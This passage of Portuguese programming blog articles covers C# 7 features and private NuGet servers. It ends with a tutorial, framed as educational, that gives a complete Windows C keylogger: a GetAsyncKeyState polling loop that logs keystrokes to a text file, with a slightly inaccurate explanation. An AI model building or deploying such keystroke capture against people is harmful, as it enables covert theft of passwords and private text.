ushort var1 = 0b000_110_111_100_000_1;
ulong l2 = 0xfe_dc_ba_98_76_54_32_10;

Throw Expressions

Por fim, temos um recurso chamado throw expressions, que permite reduzir a quantidade de linhas do código.

Até a versão 6, quando era necessário gerar uma exceção a partir do valor de um retorno, era necessário realizar o procedimento abaixo:

public class Pessoa
{
    private int _idade;
 
    public int Idade
    {
        get
        {
            return _idade;
        }
        set
        {
            if (value > 0)
                _idade = value;
            else
                throw new Exception("Idade inválida!");
        }
    }
}

Como a cláusula throw não podia ser utilizada em expressões que retornam valores, o seu uso em situações acima, estava atrelado a uma condicional. Mas, na versão 7.0, com o recurso throw expression, é possível lançar exceções a partir do código que define uma expressão. Assim, o mesmo código acima pode ser refeito para:

public class Pessoa
{
    private int _idade;
 
    public int Idade
    {
        get
        {
            return _idade;
        }
        set
        {
            _idade = value > 0 ? value : throw new Exception("Idade inválida!");
        }
    }
}

Teremos o mesmo resultado do código anterior.

Este recurso pode ser combinado com o recurso Expression-bodied Members, para gerar um resultado ainda mais enxuto:

public class Pessoa
{
    private int _idade;
 
    public int Idade
    {
        get => _idade;
        set => _idade = value > 0 ? value : throw new Exception("Idade inválida!");
    }
}

Conclusão

Apesar de serem recursos que modificam pequenos detalhes da linguagem, seus usos são recomendados pois melhoram a qualidade do código. Então, sempre que possível procure utilizá-los.

Ref Returns no C# 7

Continuando com a série de artigos sobre novidades do C# 7, hoje conheceremos o Ref Returns.

Passagem por valor e por referência

Desde de o seu início, o C# possui duas formas de passagem de variáveis para um método, por valor e por referência.

Passagem por valor significa que apenas o valor da variável será passado para o método. Caso este valor seja alterado dentro do método, isso não irá refletir na variável passada:

static void Main(string[] args)
{
    int i = 10;
    PassagemPorValor(i);
    Console.WriteLine($"Após chamar o método, {nameof(i)} = {i}");
}

static void PassagemPorValor(int j)
{
    j = 20;
}

Já na passagem por referência, é passada a referência da variável para o método. Ou seja, é passado o endereço da memória, assim, dentro desse contexto, caso ela seja alterada, isso será refletido na variável passada:

static void Main(string[] args)
{
    int i = 10;
    PassagemPorValor(ref i);
    Console.WriteLine($"Após chamar o método, {nameof(i)} = {i}");
}

static void PassagemPorValor(ref int j)
{
    j = 20;
}

Você provavelmente já conhece essas duas formas de passagem de variáveis, pois isso é abordado (ou deveria ser) em todo curso básico da linguagem.

É necessário revisar este ponto, pois uma coisa precisa ficar bem clara: quando o ref é utilizado, trabalha-se com a referência da variável, o seu espaço de memória. Podemos até dizer que ref funciona como os ponteiros de C/C++ (para quem conhece).

Ref Local

Antes de vermos a parte principal deste artigo, é bom mencionar que agora no C# 7, o ref pode ser utilizado na declaração de uma variável:

int i = 1;
ref int j = ref i;
j = 2;

Console.WriteLine($"A variável {nameof(i)} foi alterada para: {i}");

Assim como na passagem por referência, a variável j está recebendo o endereço de memória de i. Dessa forma, quando o valor de j for alterado, o valor de i também será.

Ref Return

O último recurso que o C# 7 adicionou ao ref foi a possibilidade de retornar a referência de uma variável.

Vamos a um exemplo para ficar mais claro:

public class Exemplo
{
    private int variavel = 0;

    public int ObterValor() => variavel;

    public ref int ObterReferencia()
    {
        return ref variavel;
    }
}

Note que dentro do método ObterReferencia o método está retornando à referência da variável:

return ref variavel;

Assim, quem chamar este método para utilizar uma variável Ref Local para armazenar a referência retornada e modificar o valor da variável:

var exemplo = new Exemplo();

ref int referencia = exemplo.ObterReferencia();
referencia++;

Console.WriteLine(exemplo.ObterValor());

Como as variáveis locais são removidas da memória quando o método é finalizado, não é possível aplicar o ref return em uma variável local:

public ref int RetornarPorReferencia()
{
    int x = 10;
    return ref x;
}

Mas, objetos que são armazenados na memória heap, como um array, podem ter suas referências retornadas, mesmo que eles sejam declarados dentro do método:

public ref int RetornarPorReferencia()
{
    int[] arr = { 1, 2, 3, 4 };
    return ref arr[0];
}

O código acima também poderia ser da seguinte forma:

public ref int RetornarPorReferencia()
{
    int[] arr = { 1, 2, 3, 4 };
    ref int x = ref arr[0];
    return ref x;
}

Que o resultado seria o mesmo.

Por fim, um parâmetro passado por referência, pode ser retornado por referência:

public ref int RetornarPorReferencia(ref int x)
{
    x = 2;
    return ref x;
}

Conclusão

Apesar de ser antigo na linguagem, o modificador ref estava sendo subutilizado. Com os recursos ref local e ref return, ele ganha mais poder, permitindo que os programadores tenham acesso a memória, sem que isso torne a aplicação menos segura.

Mesmo sendo recursos úteis, há de se reconhecer que ref local e ref return são limitados a situações especificas. Então, caso você tenha um problema que se enquadre no seu uso, claro, não hesite em utilizá-lo.

As mudanças de Expression-bodied members no C# 7

Na versão 3.0 do C# surgiram as expressões lambda, como uma parte do LINQ. Na prática, elas não passam de funções anônimas, que dispensam a implementação no corpo da classe de operações simples, geralmente com apenas uma instrução.

Concebidas para simplificar e facilitar a codificação das aplicações, até a versão 5.0 do C#, elas eram utilizadas apenas dentro do corpo dos métodos de uma classe. Mas na versão 6.0 foi introduzido um novo recurso chamado Expression-bodied Members.

Em um passado não muito distante …

O Expression-bodied Members introduzido no C# 6.0 passou a permitir que expressões semelhantes às expressões lambdas fossem utilizadas para definir métodos ou propriedades somente leitura que contenham apenas uma instrução.

Por exemplo, vamos supor uma classe Pessoa que possua a estrutura abaixo:

public class Pessoa
{
    private string nome;
    private string sobrenome;
    private DateTime dataNascimento;

    public string Nome
    {
        get { return nome; }
        set { nome = value; }
    }

    public string Sobrenome
    {
        get { return sobrenome; }
        set { nome = value; }
    }

    public DateTime DataNascimento
    {
        get { return dataNascimento; }
        set { dataNascimento = value; }
    }

    public string NomeCompleto
    {
        get { return nome + " " + sobrenome; }
    }

    public int Idade()
    {
        return (DateTime.Now.Year - dataNascimento.Year - 1) +
            (((DateTime.Now.Month > dataNascimento.Month) ||
            ((DateTime.Now.Month == dataNascimento.Month) && 
            (DateTime.Now.Day >= dataNascimento.Day))) ? 1 : 0);
    }
}

Com o expression-bodied properties, uma propriedade somente leitura:

public string NomeCompleto
{
    get { return nome + " " + sobrenome; }
}

Pode ser alterada para:

public string NomeCompleto => nome + " " + sobrenome;

E com o expression-bodied methods, o método Idade:

public int Idade()
{
    return (DateTime.Now.Year - dataNascimento.Year - 1) +
        (((DateTime.Now.Month > dataNascimento.Month) ||
        ((DateTime.Now.Month == dataNascimento.Month) && 
        (DateTime.Now.Day >= dataNascimento.Day))) ? 1 : 0);
}

Pode ser modificado para:

public int Idade() => (DateTime.Now.Year - dataNascimento.Year - 1) +
                (((DateTime.Now.Month > dataNascimento.Month) ||
                ((DateTime.Now.Month == dataNascimento.Month) && 
                (DateTime.Now.Day >= dataNascimento.Day))) ? 1 : 0);

É importante frisar que em ambos os exemplos acima os blocos continham return, mas em um método sem isso:

public void Imprimir()
{
    Console.WriteLine(Nome + " " + Sobrenome);
}

Também pode ser aplicado o expression-bodied:

public void Imprimir() => Console.WriteLine(Nome + " " + Sobrenome);

O importante é que o método e propriedade somente leitura contenha uma instrução de uma linha.

Voltando ao presente

Já na versão 7 do C# foram introduzidos mais três recursos ao expression-bodied. Vamos modificar a classe apresentada anteriormente para mostrá-los:

public class Pessoa
{
    private string nome;
    private string sobrenome;
    private DateTime dataNascimento;

    public string Nome
    {
        get { return nome; }
        set { nome = value; }
    }

    public string Sobrenome
    {
        get { return sobrenome; }
        set { nome = value; }
    }

    public DateTime DataNascimento
    {
        get { return dataNascimento; }
        set { dataNascimento = value; }
    }

    public string NomeCompleto => nome + " " + sobrenome;

    public Pessoa() { }

    public Pessoa(string nome)
    {
        this.nome = nome;
    }

    ~Pessoa()
    {
        Console.WriteLine("Classe sendo destruída!");
    }

    public int Idade() => (DateTime.Now.Year - dataNascimento.Year - 1) +
            (((DateTime.Now.Month > dataNascimento.Month) ||
            ((DateTime.Now.Month == dataNascimento.Month) && 
            (DateTime.Now.Day >= dataNascimento.Day))) ? 1 : 0);
}

Note que agora temos métodos construtores e o destrutor da classe. E é nesses métodos que a partir da versão 7, pode ser aplicado, respectivamente, o expression-bodied constructors, e o o expression-bodied destructors.

O processo é o mesmo, ambos os métodos precisam conter apenas uma instrução:

public Pessoa(string nome)
{
    this.nome = nome;
}

~Pessoa()
{
    Console.WriteLine("Classe sendo destruída!");
}

Para expression-bodied ser aplicado:

public Pessoa(string nome) => this.nome = nome;

~Pessoa() => Console.WriteLine("Classe sendo destruída!");

Além do construtor e destrutor, o expression-bodied agora pode ser aplicado aos acessores das propriedades:

public string Nome
{
    get => nome;
    set => nome = value;
}

Agora que a auto propriedade (disponível desde a versão 2 do C#) ainda é a melhor opção para reduzir código:

public string Nome { get; set; }

Mas, caso seja implementada a interface INotifyPropertyChanged, o uso deste recurso é bom para reduzir o código:

public string Nome
{
    get => nome;
    set => SetProperty(ref nome, value);
}

Não tem esse exemplo na classe acima, mas este mesmo princípio que permite o uso do expression-bodied nos acessores das propriedades, pode ser aplicado aos eventos:

private EventHandler _someEvent;
public event EventHandler SomeEvent
{
    add => _someEvent += value;
    remove => _someEvent -= value;
}

Mas este também tem a sua versão mais simples:

public event EventHandler SomeEvent

Introduzida na versão 6.

Para finalizar, aplicando os conceitos acima à classe Pessoa, ela ficará com a estrutura abaixo:

public class Pessoa
{
    private string nome;
    private string sobrenome;
    private DateTime dataNascimento;

    public string Nome
    {
        get => nome;
        set => SetProperty(ref nome, value);
    }

    public string Sobrenome
    {
        get => sobrenome;
        set => nome = value;
    }

    public DateTime DataNascimento
    {
        get => dataNascimento;
        set => dataNascimento = value;
    }

    public string NomeCompleto => nome + " " + sobrenome;

    public Pessoa() { }

    public Pessoa(string nome) => this.nome = nome;

    ~Pessoa() => Console.WriteLine("Classe sendo destruída!");

    public int Idade() => (DateTime.Now.Year - dataNascimento.Year - 1) +
            (((DateTime.Now.Month > dataNascimento.Month) ||
            ((DateTime.Now.Month == dataNascimento.Month) && 
            (DateTime.Now.Day >= dataNascimento.Day))) ? 1 : 0);
}

Conclusão

Assim como demonstrado com as tuplas, o C# 7.0 está introduzindo recursos que visam melhorar a produtividade dos desenvolvedores, sejam novos, como as já referidas tuplas ou com melhorias de recursos já existentes, como é o caso do expression-bodied.

Criando repositórios para o NuGet

Existem situações onde o NuGet não pode ser acessado livremente. Mesmo que os desenvolvedores desejem ter acesso irrestrito a este gerenciador de pacotes, políticas de segurança da rede, ou mesmo limitações do ambiente (um local sem internet) podem limitar este acesso.

Felizmente o NuGet indica soluções para essas situações.

Servidor local

Geralmente quando estamos sem internet, em uma longa viagem, ou em um cliente que não libera o acesso à rede, a instalação dos pacotes NuGet fica comprometida. Não tem como instalar um pacote sem ter acesso ao nuget.org, ou tem?

Ao acessar um pacote no nuget.org, é possível ver que ele pode ser baixado:

Se ele possibilita o download do pacote, então deve ter uma forma de listá-lo offline, certo? Sim, tem, podemos criar uma pasta na rede ou no computador local, com os pacotes mais comuns:

E no Visual Studio, em Tools > NuGet Package Manager > Package Sources, é possível definir a pasta como uma fonte para o NuGet:

Com isso, quando o computador não tiver acesso à internet, ele irá procurar os pacotes no servidor local.

NuGet.Sever

O NuGet.Server é um pacote que pode ser adicionado a uma aplicação ASP.NET, e a transforma em um servidor de pacotes.

A sua configuração é simples, basta criar uma aplicação web do ASP.NET no Visual Studio, e nela adicionar o pacote NuGet.Server:

Ao fazer isso, será criada uma pasta chamada Packages no projeto:

É nesta pasta que deve ser adicionados os pacotes:

Só é importante definir nas propriedades do arquivo que ele sempre deve ser copiado quando a aplicação for executada ou publicada:

E ao executar a aplicação:

Serão mostradas as URLs do servidor NuGet, que você pode utilizar para configurar no Package Sources, ou mesmo para enviar novos pacotes.

A apikey que deve ser informada para se enviar novos pacotes, pode ser configurada no arquivo web.config da aplicação, em:

<appSettings>
    <add key="apiKey" value="" />
</appSettings>

Mas você desabilitar esta exigência no atributo requireApiKey:

<appSettings>
    <add key="requireApiKey" value="false" />
</appSettings>

Na página do NuGet, você pode ver mais opções de configuração.

NuGet Gallery

Caso não queria criar um projeto, você pode copiar do GitHub o NuGet Gallery, e publicá-lo em um servidor IIS. As configurações dele serão iguais do NuGet.Server.

Haverá uma pasta Packages onde os pacotes poderão ser adicionados e uma ApiKey deve ser definida na chave apiKey do arquivo web.config.

Serviços de terceiros

Caso não queira utilizar nenhuma das opções acima, você pode utilizar algum serviço de terceiro, como os abaixo:

Eles permitem a criação de um servidor de pacote privado. A vantagem deste método, é que o serviço que se encarregará de manter os pacotes do servidor privado atualizados.

Conclusão

O NuGet possui várias funcionalidades que não são muito conhecidas, mas que podem ser utilizadas quando os desenvolvedores quiserem ter mais controle sobre os pacotes, ou quando houver certos receios quanto ao seu uso irrestrito.

Criação de um Keylogger em C

Antes de começar a escrever esse artigo, quero deixar claro que a intenção aqui é ensinar, trazer a luz do conhecimento sem medos ou correntes que impeçam a evolução intelectual.

Quero mostrar que com um simples código conseguimos capturar informações de um teclado.

Você já deve ter escutado alguma vez a palavra keylogger e talvez até tenha tido a curiosidade de buscar no Google o que isso significa, certamente viu que é um programinha capaz de capturar informações que são digitadas em um computador.

Esse assunto é muito interessante, principalmente para quem quer seguir na área de segurança da informação.

Infelizmente algumas pessoas usam o conhecimento para coisas erradas, portanto, mais uma vez esclareço que a intenção desse artigo é puramente didática, é mostrar a força da linguagem C/C++ e tudo o que ela pode fazer para ajudar em uma possível jornada pela segurança.

O que veremos aqui não é uma exclusividade da linguagem C/C++, até usando VB você conseguiria criar algo semelhante, mas podemos dizer que com C/C++ tudo fica mais “interessante”.

Entendendo a identificação de teclas

Para criar um keylogger é necessário saber a identificação de cada uma das teclas do nosso teclado.

Afinal, se queremos capturá-las, precisamos saber quem é quem nessa “salada de frutas”.

Isso pode ser feito de duas formas: através da identificação decimal que está mais dentro do nosso cotidiano ou pela identificação hexadecimal que foge um pouco do nosso dia a dia.

Veja abaixo algumas teclas com suas identificações:

##65   41  A
##66   42  B
##67   43  C
##68   44  D
##69   45  E
##70   46  F
##71   47  G
##72   48  H
##73   49  I
##74   4A  J
##75   4B  K
##76   4C  L
##77   4D  M
##78   4E  N
##79   4F  O
##80   50  P
##81   51  Q
##82   52  R
##83   53  S
##84   54  T
##85   55  U
##86   56  V
##87   57  W
##88   58  X
##89   59  Y
##90   5A  Z

Note que na tabela acima temos a identificação decimal de cada letra do alfabeto na coluna da esquerda, na coluna central a identificação em Hexadecimal e na coluna da direita a letra representada.

Com o conhecimento dessas identificações já estamos na metade do caminho para a criação de um keylogger.

Tabela ASCII completa: http://www.ascii-code.com/

A função GetAsyncKeyState()

Agora vou apresentar a função que faz com que a captura das teclas seja possível, ela é a GetAsyncKeyState().

Essa função, na verdade, não captura coisa alguma. Ela simplesmente retorna o estado de uma tecla que lhe é passada como parâmetro.

Exemplo:

if(GetAsyncKeyState(65) == -32768)
  printf("Tecla A foi pressionada 
");

Repare que a função apenas retorna -32768 se a tecla estiver pressionada, caso contrário o retorno é 0 (zero).

Essa informação já é o suficiente para incrementarmos um código verificando o retorno das teclas pressionadas e gravando cada uma em um arquivo.txt.

Criando o programa

Agora que já sabemos os valores das principais teclas do teclado e também qual é a função que faz a “mágica” da captura de teclas acontecer, vamos definitivamente criar nosso programa.

Veja o código abaixo:

#include <windows.h>
#include <stdio.h>

int main()
{
    int result,teclas;
    FILE *arquivo;

    arquivo = fopen("Captura.txt","w");

    while(1) {
        for(teclas = 64; teclas <= 90; teclas++) {
            Sleep(1);

            result = GetAsyncKeyState(teclas);

            if(result == -32767) {
                fprintf(arquivo,"%c",teclas);
            }
        }
    }

    return 0;
}

Eis então o nosso código, agora vamos entender detalhadamente cada parte dele.

Primeiro temos nossas inclusões, que são necessárias para o seu funcionamento:

#include <windows.h>
#include <stdio.h>

Depois dentro da função principal criamos as variáveis que vamos usar.

int main()
{
    int result,teclas;
    FILE *arquivo;

Note que temos duas variáveis inteiras que serão usadas diretamente na verificação e captura das teclas, e depois temos o arquivo onde iremos gravar as informações capturadas.

Para abrir esse arquivo usamos a função fopen() como é apresentado abaixo:

arquivo = fopen("Captura.txt","w");

Veja que o identificador "w" indica que estamos querendo fazer uma gravação de dados em Captura.txt.

Por último, mas não menos importante, temos o laço infinito que é responsável pela verificação e captura de cada tecla.

while(1) {
    for(teclas = 64; teclas <= 90; teclas++) {
        Sleep(1);

        result = GetAsyncKeyState(teclas);

        if(result == -32767) {
            fprintf(arquivo,"%c",teclas);
        }
    }
}

Repare que dentro desse laço temos um for onde determinamos quais teclas serão analisadas. No caso, iniciando na tecla 64 que é um simples @ e terminando na tecla 90 que é a letra Z.

Após a criação do laço devemos esperar 1 segundo com a função sleep() e depois fazer as verificações com a função GetAsyncKeyState().

Feito isso, guardamos os valores retornados dentro de uma variável, que por sua vez é analisada dentro de uma condicional que verifica se determinada tecla está sendo pressionada.

Se estiver, gravamos a informação usando a função fprintf(), que é usada justamente para escrever textos em arquivos.

Ufa! Acabamos. Agora é só executar o programa e digitar algumas informações e conferir a pasta do projeto, nela você terá todos os arquivos que foram criados com cada tecla capturada.

É isso pessoal, espero que tenham gostado do artigo. Abraço e até a próxima.

JUNTE-SE A MAIS DE 150.000 PROGRAMADORES